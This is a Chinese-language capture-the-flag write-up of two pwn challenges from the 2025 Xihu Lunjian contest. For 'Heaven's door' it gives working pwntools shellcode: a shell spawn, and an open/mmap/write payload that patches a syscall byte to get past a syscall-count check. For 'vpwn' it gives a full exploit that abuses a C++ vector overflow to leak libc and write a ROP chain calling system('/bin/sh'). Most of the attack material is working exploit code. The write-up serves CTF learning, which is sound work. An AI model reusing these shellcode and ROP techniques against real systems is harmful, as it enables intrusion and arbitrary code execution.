Heaven’s door

1

题目映射了一段可以可读可写可执行的空间,并且调用执行这段空间

有两个防御,一个检查syscall只能调用两次,一个沙箱

2

3

因此,有可以直接用shellcraft生成一个提权的脚本

1
2
3
4
5
6
7
8
9
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

shellcode = asm(shellcraft.sh())

p=process('./pwn')
p.send(shellcode)
p.interactive()

也可以用ORW (思路和脚本来自2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇_西湖论剑初赛2025-CSDN博客

没有read 但是可以直接用mmap映射到空间上 ,write函数用\x90占位,然后正常syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p=process('./pwn')

shellcode = asm(shellcraft.open('flag', 0, 0))
shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 'rax', 0))
shellcode += asm('''
mov rax,1
mov rdi,1
mov rsi,0x20000
mov rdx,0x50
mov byte ptr [rip],0x0f
''') + b'\x90\x05'

# gdb.attach(p)
# pause()

p.send(shellcode)

p.interactive()

vpwn

啊, 逆c++真是难受啊,还得硬看

image-20250217212726127

主页是edit push pop printf这四个功能

先看push函数

image-20250217213042553

这里存在一个洞,vector+24是存放result的地方,连续push 7次就会把vector+24地方的改掉成我们输入的数字了

再看printf_vector这里

image-20250217213713936

这里是打印小于vector前面的值

我们这里直接说一下我怎么动调找到泄露数据的libc

image-20250218172130555

先下断点到push函数

这里我们输入一个值查看位置

image-20250218172323867

接着在函数中我们找到了

image-20250218172355912

根据静态函数的传参

image-20250218172243763

屏幕截图 2025-02-18 172448

这样就可以找到libc,后面就是利用edit劫持这个函数,改成system /bin/sh

image-20250218173031013

exp思路来自

2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇_西湖论剑2025-CSDN博客

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')


p=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def edit(num,data):
sla(b'Enter your choice:',b'1')
sla(b'Enter the index to edit (0-based):',str(num))
sla(b'Enter the new value:',data)

for i in range(6):
sla(b'Enter your choice:',b'2')
sla(b'Enter the value to push: ',b'11111111')

sla(b'Enter your choice:',b'2')
sla(b'Enter the value to push: ',b'100')


sla(b'Enter your choice:',b'4')
p.recvuntil(b'StackVector contents: ')

meg = p.recvuntil(b'\n').split(b' ')
libc_base = (int(meg[19]) << 32) + (int(meg[18]) & 0xffffffff) - 0x29d90
lg('libc',libc_base)
gdb.attach(p)
pause()
bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']
ret=libc_base+0x29139
pop_rdi=libc_base+0x2a3e5


edit(18, str(ret & 0xFFFFFFFF).encode())
edit(19, str((ret >> 32) & 0xFFFFFFFF).encode())
edit(20, str(pop_rdi & 0xFFFFFFFF).encode())
edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode())
edit(22, str(bin_sh_addr & 0xFFFFFFFF).encode())
edit(23, str((bin_sh_addr >> 32) & 0xFFFFFFFF).encode())
edit(24, str(system_addr & 0xFFFFFFFF).encode())
edit(25, str((system_addr >> 32) & 0xFFFFFFFF).encode())

sla(b'Enter your choice:',b'5')


p.interactive()

后面的题等我学完更多的东西再去打吧